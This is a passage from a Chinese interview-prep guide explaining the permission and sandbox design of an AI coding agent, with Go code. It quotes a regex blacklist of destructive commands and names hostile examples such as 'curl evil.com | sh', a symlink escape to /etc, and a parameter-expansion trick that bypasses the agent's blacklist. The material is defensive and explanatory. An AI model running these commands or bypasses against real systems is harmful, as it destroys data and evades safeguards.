04 面试题库:权限与安全(重点)
⚠️ 这是字节最可能深挖的一块。Agent 产品的安全护栏是他们真实的生产问题,而你这个项目有完整的五层设计——只要讲清楚,这就是全场最亮的部分;讲不清楚就是「简历注水」。
每题四段:面试官想听什么 → 口述答案(可直接背) → 备注讲解(代码依据) → 可能的追问
目录
- Q4.1 ⭐⭐⭐ 五层分别拦什么?为什么是这个顺序?
- Q4.2 ⭐⭐ 黑名单能绕过吗?Bypass 模式下还拦吗?
- Q4.3 ⭐⭐⭐ 沙箱怎么防符号链接逃逸?
- Q4.4 ⭐⭐ 新建文件的路径还不存在,怎么判断?
- Q4.5 ⭐⭐ 路径前缀比较有什么坑?
- Q4.6 ⭐⭐⭐ 沙箱对 bash 有效吗?(关键缺陷)
- Q4.7 ⭐⭐ 规则引擎的三层优先级怎么设计的?
- Q4.8 ⭐ 为什么 deny 优先于 allow?
- Q4.9 ⭐⭐ 规则匹配语法怎么实现的?
- Q4.10 ⭐ 规则写错了会怎样?
- Q4.11 ⭐⭐ 为什么模式兜底「绝不产 Deny」?
- Q4.12 ⭐ Plan 模式下工具都看不见了,为什么还要 Ask?
- Q4.13 ⭐⭐ 人在回路是怎么实现的?
- Q4.14 ⭐⭐⭐ 「永久允许」写盘会不会被泛化?
- Q4.15 ⭐ TOCTOU 问题
- Q4.16 ⭐⭐ 为什么 MCP 工具每次都弹窗?
- Q4.17 ⭐ 模式切换为什么不影响运行中的一轮?
- Q4.18 ⭐⭐ 未知工具为什么要归到最严档?
- Q4.19 ⭐⭐⭐ 如果让你重新设计,你会怎么改?
- Q4.20 ⭐ 权限系统怎么测试的?
Q4.1 ⭐⭐⭐ 五层分别拦什么?为什么是这个顺序?
面试官想听什么:他真正要验证的是「你懂不懂纵深防御(defense in depth)」,以及每一层的职责边界是否清晰。
口述答案(这段必须背熟):
「五层按固定顺序判定,命中即短路,全过才执行。
① 危险命令黑名单:10 条正则,覆盖
rm -rf /、mkfs、dd of=/dev/sda、fork 炸弹这类不可逆的极端破坏。它的定位是「不可协商的底线」——用户改不了、关不掉,而且连 Bypass 模式都绕不过。② 文件沙箱:把文件操作锁在项目目录内。判断时先解析符号链接再比对前缀,防止软链接逃逸;对还不存在的新文件,回退到最近的已存在祖先目录解析。
③ 规则引擎:三层 YAML 配置(本地级 > 项目级 > 用户级),就近命中即返回;层内 deny 优先于 allow;匹配语法支持精确、正则、通配、取反四种。
④ 模式兜底:四档模式决定「用户想让 Agent 多自由」。关键设计是它只产生「允许」或「询问」,永远不产生「拒绝」。
⑤ 人在回路:判定为「询问」时,通过 channel 把请求丢给 TUI 弹窗,Agent 阻塞等人回答。三选一:允许本次、永久允许(写本地规则)、拒绝本次。
顺序为什么不能换——我认为本质是「前两层不可协商,后三层可协商」:
- 黑名单必须在沙箱之前,因为黑名单的输入是命令串、沙箱的输入是路径——
rm -rf /里的/只是一个字符串,沙箱根本不认为它是「文件路径参数」。- 黑名单必须在规则之前,否则用户写一条
Bash(rm -rf *)的 allow 规则,就能把rm -rf /放行。这是「防止用户把自己搞死」的保护。- 黑名单必须在模式之前,否则 Bypass 就等于关掉了所有安全。
- 沙箱必须在规则之前,否则用户写
Write(/etc/**)就能写系统文件。一句话总结顺序的设计意图:越靠前的层,用户越没有话语权。」
备注讲解:
代码骨架(internal/permission/engine.go 的 Check,注释原文就点明了这个顺序):
// Check 前四层权限判定流水线。
//
// readOnly 由调用方根据工具注册信息给定。
// 流水线顺序:① 黑名单(仅 Exec)→ ② 沙箱(仅文件类)→ ③ 规则引擎(三级)→ ④ 模式兜底。
// 任一层给出 Allow/Deny 即短路返回;全部未拦且模式判 Ask 时返回 Ask。
func (e *Engine) Check(mode Mode, call llm.ToolCall, readOnly bool) (Decision, string) {
cat := categorize(call.Name, readOnly)
friendly := friendlyName(call.Name)
target, isFile, ok := extractTarget(call)
// ① 黑名单:仅对命令执行类生效(N1 最高优先级,bypass 也拦)
if cat == CategoryExec && target != "" && hitsBlacklist(target) {
return Deny, "命中危险命令黑名单:" + summarize(target, 60)
}
// ② 沙箱:仅对文件类工具生效(N2)
if isFile {
if !ok { return Deny, "无法解析文件路径参数,安全拒绝" }
if !e.sandboxOK(target) { return Deny, "路径在项目目录之外:" + target }
}
// ③ 规则引擎:本地 > 项目 > 用户,就近命中即返回
for _, layer := range []struct{ rs RuleSet; name string }{
{e.local, "本地"}, {e.project, "项目"}, {e.user, "用户"},
} {
if d, hit := layer.rs.match(friendly, target, isFile); hit {
if d == Deny { return Deny, fmt.Sprintf("匹配 %s deny 规则:%s(%s)", layer.name, friendly, target) }
return Allow, ""
}
}
// ④ 模式兜底矩阵:只产 Allow 或 Ask
return modeFallback(mode, cat)
}每一层的生效范围(这个表格非常有用,被追问时直接讲):
| 层 | 作用范围 | 能否被配置放开 |
|---|---|---|
| ① 黑名单 | 仅 CategoryExec(bash + 未知工具) | ❌ 不可配置 |
| ② 沙箱 | 仅 isFile == true(read/write/edit/glob/grep) | ❌ 不可配置 |
| ③ 规则引擎 | 所有工具 | ✅ 用户配置 |
| ④ 模式兜底 | 所有工具 | ✅ 用户切模式 |
| ⑤ 人在回路 | 仅判定为 Ask 时 | ✅ 用户当场决定 |
⚠️ 一个必须知道的细节:第 ⑤ 层不在 Engine 里。permission.Engine.Check() 只实现前四层,第五层由 agent 包编排。这个边界在包注释里写得很清楚:
// Package permission 提供五层防御的权限判定系统。
//
// 前四层(黑名单 → 沙箱 → 规则引擎 → 模式兜底)由 Engine.Check 实现,
// 第五层(人在回路)由 agent 包编排驱动。这个边界为什么这样划? 因为 permission 包应该保持纯函数、无 IO、无依赖——它只做判定,不关心 UI。第五层必须和 TUI 交互,那属于编排层。面试官如果问「你这个五层是不是有点名不副实」,你就用这段包注释回答,非常稳。
可能的追问:
「第 ① 层为什么要判断
target != ""?」 → 「这是个防御性条件。target来自extractTarget解析工具参数——如果解析失败(比如 JSON 不合法、或者command字段类型不对),target是空串。空串去跑正则没有任何意义。但注意这不会造成漏洞:解析失败时extractTarget返回的ok = false,然后因为cat == CategoryExec、isFile == false,沙箱也不管,最终落到模式兜底 →Ask。用户还是要确认。」「如果沙箱的路径解析失败呢?」 → 「
isFile == true但ok == false时,直接Deny——错误信息是「无法解析文件路径参数,安全拒绝」。这里跟黑名单的处理不同:黑名单是「解析不了就跳过这层」,沙箱是「解析不了就拒绝」。 因为对文件操作来说,解析不了路径意味着「我不知道你要操作什么」,不能放行;而对命令来说,解析不了意味着target为空,去跑正则是无意义的操作。」
Q4.2 ⭐⭐ 黑名单能绕过吗?Bypass 模式下还拦吗?
面试官想听什么:他会试图找一个「配置项能让黑名单失效」的口子。
口述答案:
「设计上不能绕过——黑名单在最高优先级,而且
Check的判定跟mode参数完全无关(黑名单那一段代码根本没读mode)。所以四种模式、三层规则配置,都影响不到它。但我要诚实说,黑名单的能力是有限的: 第一,它是启发式的,只有 10 条正则,覆盖的是「不可逆灾难」级别——
rm -rf /、mkfs、dd写块设备、fork 炸弹这些。它覆盖不到cat /etc/passwd、curl evil.com | sh这类风险。 第二,正则匹配的是sh -c的命令串文本,所以可以被绕过——比如rm -rf ${HOME:0:1}(用参数展开拼出/)、或者把命令写进脚本文件再执行。这是文本匹配的固有局限。所以我对黑名单的定位是:它不是「安全边界」,而是「防呆垫」——防止用户和模型一起犯一个不可挽回的错误。真正的安全边界应该是第二层的沙箱,而且沙箱应该下沉到操作系统层面(这个我下面可以展开)。」
备注讲解:
黑名单全文(internal/permission/blacklist.go):
// blacklist 内置危险命令正则集(启发式、非完备、不可配置放开)。
//
// 覆盖已知高危模式:递归强删根/家目录、写块设备、fork 炸弹、
// 重定向覆盖磁盘设备、格式化文件系统、递归改权限到 777 等。
// 用户不可增删或关闭黑名单;bypassPermissions 也拦。
var blacklist = []*regexp.Regexp{
regexp.MustCompile(`rm\s+(-[a-zA-Z]*[rf][a-zA-Z]*\s+)+(/|~|\$HOME|\$HOME/|/\*)`),
regexp.MustCompile(`dd\s+.*of=/dev/(sd|hd|nvme|disk|xvd|vd|mmcblk|loop|ram|pmem)`),
regexp.MustCompile(`:\(\)\s*\{[^}]*\|[^}]*&\s*\}`),
regexp.MustCompile(`\bmkfs\.`),
regexp.MustCompile(`>\s*/dev/(sd|hd|nvme|disk|xvd|vd|mmcblk|loop|ram|pmem)`),
regexp.MustCompile(`chmod\s+-R\s+0?777\s+(/|/etc|/bin|/sbin|/usr|/var)`),
regexp.MustCompile(`\bdd\s+if=.*\s+of=/dev/(sd|hd|nvme)`),
regexp.MustCompile(`rm\s+.*--no-preserve-root\s+(/|/\*)`),
regexp.MustCompile(`\bmv\s+.*\s+(/etc/passwd|/etc/shadow|/etc/sudoers|/boot/)`),
regexp.MustCompile(`(wipefs|dd)\s+.*/dev/(sd[a-z]|hd[a-z]|nvme\dn\d)\b`),
}「不可配置放开」这句话是设计承诺,面试时可以直接引用。
⚠️ 注意第 2 条和第 7 条是重复的(dd ... of=/dev/sd* 和 dd if=... of=/dev/sd*)——第 7 条是第 2 条的子集,冗余。这不是问题(多一条正则不影响正确性),但如果你被问「这个文件你自己 review 过吗」,可以主动指出这个冗余,显得是真读过。
README 里的夸大:README 的权限章节写了「rm -rf /、curl | sh 等危险命令正则拦截」——但黑名单里其实没有 curl | sh 这一条。如果面试官对着 README 问,要承认:
「README 那句是早期写的,当时把
curl | sh列为计划项但没实现。现在黑名单里没这条——实际上curl ... | sh是最典型的供应链攻击模式,应该加。加一条正则很简单,难的是怎么把「从网络下载内容并执行」这类模式表达清楚——因为变体太多(wget -O - | bash、curl ... > f && sh f)。这也是为什么我更倾向进程级沙箱而不是靠正则。」
Q4.3 ⭐⭐⭐ 沙箱怎么防符号链接逃逸?
面试官想听什么:这是安全面试的经典题。如果答不出来,整个五层设计的可信度就崩了。
口述答案:
「核心是先解析符号链接,再比对前缀。
如果直接做字符串前缀判断——
strings.HasPrefix(absPath, root)——那项目里放一个ln -s /etc ./evil,然后让 Agent 读./evil/passwd就能绕过去:字符串前缀确实是项目内,但实际指向的是/etc。我的做法是对目标路径跑一遍
filepath.EvalSymlinks,把软链接全部展开成真实路径,然后再和项目根比对。这样./evil/passwd会被展开成/etc/passwd,前缀不匹配,直接 Deny。这里还有一个细节:项目根本身也要先解析。因为项目根可能是通过软链接进入的(比如 macOS 上
/tmp是/private/tmp的软链接),如果不解析 root,那么 root 是/tmp/proj、而目标解析后是/private/tmp/proj/a.go,前缀永远匹配不上,所有操作都会被误拦。所以我在构造引擎时就对 root 做了EvalSymlinks。」
备注讲解:
// resolveRoot 将用户指定的项目根规整为(已解析符号链接的)绝对路径。
func resolveRoot(root string) (string, error) {
abs, err := filepath.Abs(root)
if err != nil { return root, err }
return filepath.EvalSymlinks(abs)
}沙箱判定:
// sandboxOK 判断给定路径是否落在项目根目录内。
// 空 path 视为 root;相对路径相对 root 解析。
// 先解析符号链接(或回退到最近祖先),再做前缀比对。
func (e *Engine) sandboxOK(path string) bool {
if path == "" { path = e.root }
// 相对路径相对 root 解析为绝对
abs := path
if !filepath.IsAbs(abs) { abs = filepath.Join(e.root, path) }
// 规整路径(清理 .. 等)
abs = filepath.Clean(abs)
// 解析符号链接(或祖先回退)
resolved := evalSymlinksOrAncestor(abs)
sep := string(os.PathSeparator)
return resolved == e.root || strings.HasPrefix(resolved, e.root+sep)
}三个处理步骤,每一步都不可少:
filepath.Join(e.root, path)—— 相对路径必须先转绝对,否则../outside这种是以「当前进程的工作目录」为基准的,可能完全跑偏。filepath.Clean(abs)—— 清理..和多余的/。/a/b/../c→/a/c。这一步必须在 EvalSymlinks 之前,因为EvalSymlinks遇到中间段是..时行为依赖于实际存在的路径。evalSymlinksOrAncestor—— 解析链接。
⚠️ 一个隐藏的坑:「项目根本身是软链接」的双向问题:
- 如果 root 没解析、目标解析了 → 误拦(前面说的 macOS 例子)
- 如果 root 解析了、目标没解析 → 逃逸
所以两边都必须解析,代码里两边都做了(NewEngine 里 resolveRoot,sandboxOK 里 evalSymlinksOrAncestor)。
可能的追问:
- 「符号链接的中间的目录段是链接怎么办?」 → 「
EvalSymlinks会解析路径中所有存在的段,不只是最后一段。所以/proj/a/b/c.go里如果a是软链接指向/etc,解析出来就是/etc/b/c.go,前缀不匹配 → Deny。这正是我不用os.Lstat(只看最后一段)而用EvalSymlinks(全路径解析)的原因。」 - 「如果攻击者在检查之后、执行之前把软链接换掉呢?」 → 见 Q4.15 TOCTOU。
Q4.4 ⭐⭐ 新建文件的路径还不存在,怎么判断?
面试官想听什么:细节敏感度。这是一个「不看代码就想不到」的问题,答出来非常有说服力。
口述答案:
「这是
EvalSymlinks的一个实际障碍:如果路径不存在,它会直接返回错误。而**「新建文件」是最常见的场景之一**——比如 Agent 要写
src/newpkg/newfile.go,而src/newpkg/这个目录还不存在。如果「解析失败就拒绝」,那新建文件这个能力就全废了。我的处理是逐级回退到最近存在的祖先目录:从目标路径开始,一级一级往上找,找到第一个
EvalSymlinks成功的前缀,把那个前缀解析掉,再把剩下的路径段拼回去。具体例子:root 是
/a(存在),目标是/a/b/c/new.go(b、c都不存在)。流程是:/a/b/c/new.go失败 →/a/b/c失败 →/a/b失败 →/a成功 → 得到解析后的/a→ 拼回b/c/new.go→ 得到/a/b/c/new.go→ 和 root 比对通过。这个设计的合理性在于:不存在的目录不可能是软链接(软链接必须存在才有意义),所以「最近的已存在祖先 + 剩余的纯路径段」就是真实路径。」
备注讲解:
// evalSymlinksOrAncestor 对存在的目标做 EvalSymlinks;
// 不存在则逐级回退到最近已存在祖先目录解析后拼回剩余段。
//
// 覆盖"新建文件、含未创建中间目录"的场景:假设
// root=/a(已存在),目标=/a/b/c/new.go(b/c 尚不存在),
// 则回退 /a/b/c → /a/b → /a(存在),解析 /a 的符号链接后拼回 b/c/new.go。
func evalSymlinksOrAncestor(abs string) string {
resolved, err := filepath.EvalSymlinks(abs)
if err == nil { return resolved }
dir := filepath.Dir(abs)
for dir != abs && dir != "." && dir != "/" {
resolved, err := filepath.EvalSymlinks(dir)
if err == nil {
rel, _ := filepath.Rel(dir, abs)
return filepath.Join(resolved, rel) // ← 祖先的解析结果 + 剩余相对段
}
abs = dir
dir = filepath.Dir(abs)
if dir == abs { break }
}
// 连根目录都不可解析——返回原始输入(最保守)
return abs
}注意最后的「最保守」兜底:如果连 / 都解析不了(基本不可能),返回原始输入。这时候前缀比对会用未解析的路径——这是 fail-safe 的方向(大概率判不匹配 → Deny),但严格说这是「保守但不完备」的处理。
循环终止条件 dir != abs && dir != "." && dir != "/" 需要仔细看:dir != abs 是为了在 filepath.Dir 到顶之后(Dir("/") == "/")退出;dir != "/" 是显式处理根目录。
可能的追问:
- 「这个方案的边界在哪?」 → 「有一个理论漏洞:如果攻击者能在检查的瞬间控制「哪个祖先存在」,可以构造一个中间态。但这需要在检查的微秒级时间窗内创建一个目录——这已经不是沙箱能防的层面了,需要进程级隔离。」
- 「Windows 上怎么办?」 → 「Windows 上有 junction 和 NTFS 重解析点,
filepath.EvalSymlinks在 Windows 能处理一部分但覆盖不全。项目里bash工具用的是sh -c,Windows 上根本没有sh,所以实际上 Windows 上bash工具是不可用的——这是一个我已知的平台局限。CI 里有 Windows 的测试,但覆盖的是非 bash 的部分。」
Q4.5 ⭐⭐ 路径前缀比较有什么坑?
面试官想听什么:他可能就是在钓这个——这是个非常经典的 bug。
口述答案:
「坑在必须比较
root + 路径分隔符,不能只比较root。举例:项目根是
/home/me/proj,攻击者要访问/home/me/project2/secret。用strings.HasPrefix("/home/me/project2/secret", "/home/me/proj")会返回 true——因为字符串前缀确实匹配!但/home/me/project2显然不在/home/me/proj里面。所以我用的是
strings.HasPrefix(resolved, e.root+sep)。加上分隔符后,/home/me/proj/...匹配、/home/me/project2/...不匹配。另外还有一个相等的情况要单独处理——目标就是项目根本身时不带分隔符。所以判断是
resolved == e.root || strings.HasPrefix(resolved, e.root+sep)。」
备注讲解:
sep := string(os.PathSeparator)
return resolved == e.root || strings.HasPrefix(resolved, e.root+sep)这个 bug 的变体很多:
- 不加分隔符 →
proj和project2混淆(上面这个) - 硬编码
/而不是os.PathSeparator→ Windows 上全错 - 忘了
filepath.Clean→/proj/../outside这种能绕过(注意:这里Clean在EvalSymlinks之前,所以..已经被规整掉了)
还有一个隐蔽的坑:如果 e.root 是 /(用户在家目录以外的根目录启动),那 e.root+sep 就是 //,前缀比较会永远失败。这是个真实边界 bug(虽然极端)。正确做法是 if e.root == string(os.PathSeparator) { return true }。可以主动提这个。
可能的追问:
- 「macOS 上大小写不敏感的文件系统会有问题吗?」 → 「有。macOS 默认是 case-insensitive 的 APFS,所以
/Users/me/Proj和/users/me/proj是同一个目录,但字符串比对会判不相等。我这个方向是偏严的——可能误拦,不会误放。要正确处理需要os.SameFile比较 inode,那是更贵但更准的方案。」
Q4.6 ⭐⭐⭐ 沙箱对 bash 有效吗?(关键缺陷)
面试官想听什么:⚠️ 这道题他一定会问,因为这是你这个设计最大的洞。 他要看你是「不知道」还是「知道但当时没解决」还是「知道且能说清怎么解决」。
口述答案(背熟这段):
「无效。这是这个设计最大的已知缺陷,我要主动说清楚。
我的沙箱是参数级的,不是进程级的。它的判定依据是
extractTarget从工具参数里解析出来的路径——而extractTarget只对文件类工具有分支(read_file/write_file/edit_file/glob/grep读path字段),对bash走的是「读command字段」的分支,isFile返回 false。于是if isFile这个条件直接跳过,沙箱对 bash 完全不生效。结果就是:
bash里执行cat /etc/passwd、cd /tmp && rm -rf xxx,沙箱拦不住。现在的防线是什么? 是模式的默认行为——
bash属于命令执行类,在 Default / AcceptEdits / Plan 三种模式下都判 Ask,默认会弹窗让人确认。所以「默认配置下」用户是安全的。但风险窗口在哪? 一旦用户写了
Bash的全放行规则、或者切到 Bypass 模式,就只剩黑名单那 10 条正则。而黑名单只覆盖极端破坏,cat /etc/passwd是拦不住的。还有个更隐蔽的绕过路径:
bash工具有一个workdir参数,代码里专门检查了它不能是绝对路径或含..:goif filepath.IsAbs(a.Workdir) || strings.Contains(a.Workdir, "..") { return errorResult("安全限制: workdir 不支持绝对路径或路径穿越") }但这只堵了一个小洞——命令串本身可以
cd /etc,workdir只是个起始目录。正确的解法是「把沙箱从参数层下沉到进程层」:
- Linux:用
seccomp或landlock做系统调用级过滤,或者用bubblewrap/unshare做 mount namespace——直接改子进程的文件系统视图,让它在操作系统看来就只能看到项目根。- macOS:用
sandbox-exec的 seatbelt profile,本质上也是内核级的路径策略。- 这样做的好处是沙箱不再依赖「我能不能正确解析命令串」——不管用户的命令多复杂、有多少层变量展开、有多少个跳板脚本,内核都会拦住。
退一步的过渡方案是命令静态分析:解析
sh -c的命令串,抽出所有绝对路径参数和cd目标做白名单校验。但我不认为这是合格方案——sh的语法(变量展开、命令替换、管道、子 shell)让它本质上不可静态分析,你永远在追着补漏。它只能提高攻击成本,不能构成边界。」
备注讲解:
代码依据(permission/settings.go 的 extractTarget):
switch call.Name {
case "read_file", "write_file", "edit_file":
v, exists := m["path"]
if !exists { return "", true, false }
...
return s, true, true // ← isFile = true
case "glob", "grep":
... return s, true, true // ← isFile = true
case "bash":
v, exists := m["command"]
...
return s, false, true // ← isFile = false,沙箱跳过
default:
// 未知工具
return "", false, false // ← MCP 工具走这里
}而 categorize 把 bash 归到 CategoryExec:
func categorize(internal string, readOnly bool) Category {
if readOnly { return CategoryRead }
switch internal {
case "write_file", "edit_file": return CategoryWrite
case "bash": return CategoryExec
default:
// 未注册工具归命令执行类(最严)
return CategoryExec
}
}所以完整链路是:bash → CategoryExec → 黑名单检查(target 是命令串)→ 沙箱跳过(isFile == false)→ 规则引擎 → 模式兜底 → Ask。
bash 工具里的那一小段防御:
// 安全检查: workdir 不能使用绝对路径或路径穿越
if a.Workdir != "" {
if filepath.IsAbs(a.Workdir) || strings.Contains(a.Workdir, "..") {
return errorResult("安全限制: workdir 不支持绝对路径或路径穿越")
}
}
cmd := exec.CommandContext(ctx, "sh", "-c", a.Command)
cmd.Dir = a.Workdir注意 strings.Contains(a.Workdir, "..") 其实偏严——my..dir 这种合法目录名也会被拒。但偏离安全方向是好事。
答辩姿态的建议:
这道题的正确姿态不是「辩解」,而是把它变成一个加分项。参考话术:
「这个设计我最不满意的地方就是沙箱的层次。它拦在『参数』这一层——我只能看到工具的结构化参数,看不到 shell 里实际会发生什么。**这是我做这个项目最大的收获之一:我意识到「在应用层做路径校验」和「在内核层做隔离」是两个量级的事情。**前者你永远在猜攻击者会怎么写命令,后者是操作系统帮你保证。」
这段话的效果:它把一个「设计缺陷」变成了「设计洞察」。面试官要的不是「你没有 bug」,而是「你知道自己的边界在哪」。
Q4.7 ⭐⭐ 规则引擎的三层优先级怎么设计的?
面试官想听什么:配置系统的设计经验。
口述答案:
「三层配置文件,按「就近原则」排优先级:
层级 路径 用途 本地级(最高) <项目>/.mewcode/settings.local.yaml个人偏好,gitignore 保护 项目级 <项目>/.mewcode/settings.yaml团队共享,可提交 git 用户级(最低) ~/.mewcode/settings.yaml全局 层间语义是「就近命中即返回」,不是合并。 从本地级开始逐层找,一旦某一层有任何规则命中(不管 allow 还是 deny),就立刻返回结果,不再往下看。
为什么是「就近命中即返回」而不是「三层合并后统一匹配」? 因为合并的语义很难解释。假设用户级写
allow: Bash(git *)、项目级写deny: Bash(git push)——合并之后,git push到底允许还是拒绝?取决于 deny 是否全局优先。而它跟用户级那条 allow 的关系是什么?这种跨层的优先级规则是没人能记住的。「就近命中」的语义非常清楚:近的配置覆盖远的配置。项目级的规则一旦命中,用户级就不再参与——这跟「项目规则覆盖用户习惯」的直觉一致。」
备注讲解:
// 加载三层配置
userPath := userSettingsPath() // ~/.mewcode/settings.yaml
projPath := filepath.Join(e.root, ".mewcode", "settings.yaml")
localPath := filepath.Join(localDir, "settings.local.yaml")
e.user = toRuleSet(userSettings)
e.project = toRuleSet(projSettings)
e.local = toRuleSet(localSettings) // ③ 规则引擎:本地 > 项目 > 用户,就近命中即返回
for _, layer := range []struct{ rs RuleSet; name string }{
{e.local, "本地"}, {e.project, "项目"}, {e.user, "用户"},
} {
if d, hit := layer.rs.match(friendly, target, isFile); hit { ... }
}启动模式也用同一套优先级:
// resolveStartMode 按优先级解析启动默认模式。
func resolveStartMode(local, project, user Settings) Mode {
for _, s := range []Settings{local, project, user} {
if m, ok := ParseMode(s.DefaultMode); ok { return m }
}
return ModeDefault
}⚠️ 这里有个性能问题值得知道:NewEngine 里加载用户级配置时加载了两次——
userPath := userSettingsPath()
if userPath != "" {
s, _ := loadSettings(userPath)
e.user = toRuleSet(s)
}
...
e.startMode = resolveStartMode(localSettings, projSettings, e.userFromSettings(e.user, userPath))而 userFromSettings 内部又 loadSettings(path) 读了一次同一个文件:
func (e *Engine) userFromSettings(rs RuleSet, path string) Settings {
if path == "" { return Settings{} }
s, _ := loadSettings(path) // ← 又读一遍磁盘
return s
}这是个可以主动指出的冗余:「这是启动路径上的一次多余文件读取。虽然只发生一次(启动时)、影响很小,但它是明显的代码坏味道——resolveStartMode 完全可以接收已经加载好的 Settings,不需要重新读盘。」
「永久允许」写到哪里? 写本地级——e.localPath:
localPath := filepath.Join(localDir, "settings.local.yaml")
e.localPath = localPath为什么是本地级不是项目级? 因为项目级是要提交到 git 的。用户 A 点了一次「永久允许」,不应该变成整个团队共享的规则。这是「个人决策不进共享配置」的原则。
可能的追问:
- 「如果本地级写了 allow,项目级写了 deny,会发生什么?」 → 「本地级 allow 命中 → 直接放行。项目级的 deny 被跳过了。 这是「就近优先」的必然结果,也符合「本地配置是个人覆盖」的语义。但如果团队的意图是「项目级 deny 是硬约束」,这个设计就不合适——那张表应该是「deny 全局优先」。我的选择是保证语义简单可预测,代价是团队不能强制下发 deny。」
Q4.8 ⭐ 为什么 deny 优先于 allow?
面试官想听什么:你是不是想过「例外规则」这个模式。
口述答案:
「因为 allow 规则通常写得比较宽,而 deny 是收窄它的例外。
典型的用法是这样:
yamlpermissions: allow: - "Bash(git *)" # 所有 git 命令自动放行 deny: - "Bash(git push --force)" # 但强制推送不行如果 allow 优先,那条 deny 就永远不生效——因为
git push --force也匹配git *。例外规则的意义就是「在宽泛的许可里挖一个洞」,所以它必须优先。这也符合大多数系统的惯例:防火墙规则、
.gitignore的否定模式、ACL 都是 deny/例外优先。」
备注讲解:
// match 在规则集内按 friendly+target 匹配,先 deny 再 allow;
// 命中返回 (Allow|Deny, true),未命中返回 (_, false)。
func (rs RuleSet) match(friendly, target string, isFile bool) (Decision, bool) {
// deny 优先
for _, r := range rs.deny {
if r.Tool == friendly && matchRule(r, target) { return Deny, true }
}
// allow
for _, r := range rs.allow {
if r.Tool == friendly && matchRule(r, target) { return Allow, true }
}
return Decision(0), false
}注意这里的「优先级」是层内的。层间是「就近命中即返回」——所以**「用户级的 deny 优先于项目级的 allow」是错的**,实际是「项目级的 allow 命中后就不再往下看」。
⚠️ 这是个容易被追问的点。完整的优先级是:
本地级 deny → 本地级 allow → 项目级 deny → 项目级 allow → 用户级 deny → 用户级 allow → 模式兜底「本地级 deny 在最前面」是对的(用户自己最严格的约束),但**「用户级 deny 排在最后」意味着「项目级的 allow 可以覆盖用户的全局 deny」**——这在安全上是有争议的。如果用户全局禁了 Bash(rm *),但项目级 allow 了 Bash(rm *),那 rm 就被放行了。
更好的设计可能是「所有层的 deny 先于所有层的 allow」,但那样跨层语义又会变复杂(用户级 deny 应该能覆盖项目级 allow 吗?)。
如果被问到,可以这样答:
「这是个我想过但没有完美答案的问题。现在是纯「就近优先」,好处是语义简单(近的覆盖远的);代价是跨层的 deny 不能全局生效——用户级的 deny 会被项目级的 allow 覆盖。
另一种设计是「deny 全局优先于 allow,层间只在同类里比较优先级」。那样更安全,但会出现「用户写了一条 deny,团队成员都受影响却看不到原因」的问题——因为用户级配置不在仓库里。
我选了简单的那个,因为我判断这个场景(个人终端工具)的威胁模型不是「团队里有人恶意配置」,而是「用户自己和模型一起犯错」。 对前者,需要的是服务端的集中策略管理,不是配置文件优先级。」
Q4.9 ⭐⭐ 规则匹配语法怎么实现的?
面试官想听什么:设计模式的应用(这里是一个漂亮的装饰器模式)。
口述答案:
「我用了一个四种 Matcher 的实现 + 一个编译函数的结构,本质上是装饰器模式。
语法是前缀驱动的:
=value→ 精确匹配(整串相等)~regex→ 正则!inner→ 取反(对内层 Matcher 的结果取反)- 无前缀 → glob 通配(默认)
CompileMatcher看第一个字符决定构造哪个实现。!是递归的——所以!=value、!~regex、!glob都合法,而且可以嵌套(!!x理论上也行)。所有 Matcher 实现同一个两方法接口:
Match(s string) bool和String() string。String()是给调试和/hooks输出用的——因为取反的 Matcher 需要能把内层的描述重新拼出来。」
备注讲解:
// Matcher 是规则匹配的统一接口。
// 四种实现:matcherExact(精确)、matcherGlob(glob 通配)、
// matcherRegex(正则)、matcherNot(反向取反)。
type Matcher interface {
Match(s string) bool
String() string // 供调试与 /hooks 输出使用
}func CompileMatcher(pattern string, isCommand bool) (Matcher, error) {
if pattern == "" { return nil, fmt.Errorf("empty matcher pattern") }
switch pattern[0] {
case '=':
return &matcherExact{value: pattern[1:]}, nil
case '~':
src := pattern[1:]
re, err := regexp.Compile(src)
if err != nil { return nil, fmt.Errorf("invalid regex pattern %q: %w", src, err) }
return &matcherRegex{re: re, src: src}, nil
case '!':
inner, err := CompileMatcher(pattern[1:], isCommand) // ← 递归
if err != nil { return nil, fmt.Errorf("invalid not pattern: %w", err) }
return &matcherNot{inner: inner}, nil
default:
return &matcherGlob{pattern: pattern, isCommand: isCommand}, nil
}
}matcherNot 的实现就三行——这就是装饰器模式的精髓:
type matcherNot struct { inner Matcher }
func (m *matcherNot) Match(s string) bool { return !m.inner.Match(s) }
func (m *matcherNot) String() string { return "!" + m.inner.String() }⚠️ 一个真实的坑:! 和 !~ 的歧义。
!~regex 会被解析成 matcherNot{inner: matcherRegex{...}}——这是对的。但要小心 != 和 ! 的组合语义:!=foo → matcherNot{matcherExact{foo}} → 匹配「不等于 foo 的所有值」。语义正确。
glob 有两套语义(这个细节很容易被忽略,讲出来很加分):
// matcherGlob glob 通配匹配。
// - isCommand=true:使用命令串 glob(* 匹配任意字符序列含空格,** 等价 *)。
// - isCommand=false:使用文件路径 glob(按 / 分段,* 段内匹配,** 跨段)。func (m *matcherGlob) Match(s string) bool {
// matchPattern 的 isFile 参数:文件路径传 true,命令串传 false。
return matchPattern(m.pattern, s, !m.isCommand)
}所以:
Bash(git *)中的*能跨空格 → 匹配git status、git log --onelineWrite(src/**)中的**能跨/→ 匹配src/a/b/c.goWrite(src/*.go)中的*只在段内 → 不匹配src/a/b.go
文件路径 glob 用的是递归 DP:
func matchSegments(pat, path []string) bool {
if len(pat) == 0 { return len(path) == 0 }
if len(pat) == 1 && pat[0] == "**" { return true }
if len(path) == 0 {
for _, p := range pat { if p != "**" { return false } }
return true
}
if pat[0] == "**" {
// ** 匹配 0 层(跳过 **)或 1+ 层(跳过 path 首段)
return matchSegments(pat[1:], path) || matchSegments(pat, path[1:])
}
matched, _ := matchSegment(pat[0], path[0])
if !matched { return false }
return matchSegments(pat[1:], path[1:])
}这是标准的 wildcard matching DP。** 那两个分支(匹配 0 层 或 匹配 1 层)就是背包问题的经典形式。
可能的追问:
- 「为什么不用
path/filepath.Match?它是标准库。」 → 「filepath.Match的*不匹配路径分隔符,而且它没有**的概念——**在它看来就是两个连续的*,效果等于一个*。所以我必须自己实现分段匹配。在段内我确实用了filepath.Match,只在段间逻辑上自己写。」 - 「正则规则有 ReDoS 风险吗?」 → 「Go 的
regexp是 RE2 引擎,用的是自动机而不是回溯,所以没有 ReDoS 风险——它的匹配时间是输入长度的线性函数。用 PCRE 之类的回溯引擎就有这个风险。这是我选 Go 的一个附带好处。」
Q4.10 ⭐ 规则写错了会怎样?
面试官想听什么:错误处理的设计判断。这里有很好的故事。
